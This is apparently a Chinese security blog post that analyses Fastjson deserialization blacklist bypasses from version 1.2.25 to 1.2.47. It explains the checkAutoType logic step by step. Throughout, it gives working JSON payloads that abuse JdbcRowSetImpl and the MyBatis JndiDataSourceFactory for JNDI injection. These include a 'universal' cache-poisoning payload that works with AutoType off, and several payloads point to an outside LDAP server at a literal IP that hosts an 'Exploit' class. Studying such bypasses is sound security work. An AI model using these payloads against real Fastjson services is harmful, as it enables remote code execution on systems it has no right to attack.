Fastjson 1.2.25&42&43&45&47
Fastjson 1.2.25&42&43&45&47
在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。
com.alibaba.fastjson.parser.ParserConfig
作者在这里增加了autoTypeSupport和黑名单
其中黑名单 denyList 包括:
1 | bsh |
添加反序列化白名单有3种方法:
- 使用代码进行添加:
ParserConfig.getGlobalInstance().addAccept(“org.chu0.fastjson.,org.javaweb.”)
- 加上JVM启动参数:
-Dfastjson.parser.autoTypeAccept=org.chu0.fastjson.
- 在fastjson.properties中添加:
fastjson.parser.autoTypeAccept=org.chu0.fastjson.
注意下面这个部分,这是本次更新主要更新的waf部分DefaultJSONParser.class#parseObject
我们跟进checkAutoType进行分析
这里由于我并没有开启autoTypeSupport,所以两层false直接跳过了黑白名单的检查
如果在黑名单部分的话,下面就会直接抛出异常,结束程序,结果如下
测试代码
1 | import com.alibaba.fastjson.JSONObject; |
payload
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true} |
必须开启AutoType 绕过
fj < 1.2.42
主动开启AutoTypeSupport
1 | ParserConfig.getGlobalInstance().setAutoTypeSupport(true); |
测试代码
1 | import com.alibaba.fastjson.JSON; |
payload
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:9999/a", "autoCommit":true} |
运行结果,由于这里没有配置服务端,所以没有任何反应
可以发现在这里com.sun.rowset.JdbcRowSetImpl前面增加了一个字母L,后面增加了一个分号,为什么这样就可以绕过了呢,且看下面分析
由于在前面增加了一个字母L,所以就可以绕过黑白名单的检测,进入到上面的TypeUtils.loadClass方法,我们可以进入继续分析
可以看到这里对前面的L和后面的;都进行了处理,最后再次调用loadClass方法,是可以绕过的
1.2.42<=fj<1.2.43
42之后的版本在检查checkAutoType之前对类名进行了截取前后各一个字符的操作,详见下面对比
此图为1.2.47版本,下面那一串数字是因为42版本后对于类名的表示都变成了对应的hash值
此图为1.2.25
我们可以明显发现在if (this.autoTypeSupport || expectClass != null) {}之前增加了部分代码,具体效果就是截取类名1到length-1的部分(去掉前后各一个字符),应对方法也十分简单,双写即可,payload如下
1 | { |
测试代码
1 | import com.alibaba.fastjson.JSON; |
fj < 1.2.43
我们继续运行之前的payload,发现直接报错了,下面将会进行断点分析
发现异常部分如下
这段其实就是对L开头;结尾的类名进行了waf,所以后面的绕过就不能用L&;了,跟踪下面的TypeUtils.loadClass进行分析
对于类名的绕过不只是L&;,[也可以被利用进行绕过,衍生出如下payload
测试代码
1 | import com.alibaba.fastjson.JSON; |
payload
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[, {"dataSourceName":"ldap://110.41.17.183:5555/Exploit", "autoCommit":true} |
fj < 1.4.45
需要搭配mybatis3使用
mybatis3 <=3.4.6
具体入口如下
fj在实例化的时候会调用对应成员变量的getter或者setter方法,所以就会调用此处的lookup方法,进而触发JNDI注入,对于jndi还不熟悉的师傅建议从1.2.24开始学起,jndi可以说是贯穿很多版本的fj
测试代码
1 | import com.alibaba.fastjson.JSON; |
payload如下
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{"data_source":"ldap://110.41.17.183:5555/Exploit"}} |
fj <= 1.2.47通杀
fj <= 1.2.47通杀
所谓通杀,就是不管是否开启AutoType都可以执行
@type是Class类时会加载val对应的类并写入缓存
- 关闭了autoTypeSupport肯定进不去白名单查找,又由于Mapping为空就进入findClass
- 开启了autoTypeSupport在白名单也找不到Class类(默认白名单为空),也会最终进入findClass
开启AutoType分析
进入checkAutoType,由于clazz为空,所以会进入下面的第一个判断
第一个判断并没有返回clazz,所以会进入第二个判断,我们断点跟进
IdentifyHashMap存了很多基础类,匹配到直接返回,这里就是匹配到了"java.lang.Class"
返回上层函数,就可以发现这里将clazz return了,返回DefaultJSONParser#parseObject方法,并进入了deserializer.deserialze方法
我们继续断点跟进
此处对objVal进行了赋值,继续跟进
在266行对strVal进行了赋值操作,最后是重头戏
由于此处的clazz并不为空,所以执行了下面的loadClass,对于strVal类进行了加载,继续跟进
可以发现loadClass开启了缓存,并在1153行将val的值写入了缓存
当再次进入checkAutoType的时候,此时的tyoeName就是com.sun.rowset.JdbcRowSetImpl
在经过了对于L&;、[的检测之后,进入了黑名单判断,但细看抛出异常的条件(下面代码),是类在黑名单里且不在缓存中
1 | if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {} |
通过这种方式就可以让我们的恶意类绕过检测,成功返回clazz(839行),后面就和上面的步骤一样了
payload
1 | {{"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://110.41.17.183:5555/Exploit", "autoCommit": true}} |
测试代码
1 | import com.alibaba.fastjson.JSON; |
不开启AutoType分析
和上面的步骤基本相同
不同的是第二次,由于我们并没有开启AutoType,所以不会进入下面的if语句
clazz为null,直接进入到下面的第一个框的语句里
因为上一次已经将com.sun.rowset.JdbcRowSetImpl加入了我们的缓存,所以getClassFromMapping就找到了该类并将其赋值给clazz,因此,恶意类绕过了在下面的!this.autoTypeSupport的if检测,直接在第二个个框的语句里进行了返回,再在后面的parseObject中进行了loadClass加载,实现了不开启AutoType的绕过
payload
1 | {{"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://110.41.17.183:5555/Exploit", "autoCommit": true}} |
测试代码
1 | import com.alibaba.fastjson.JSON; |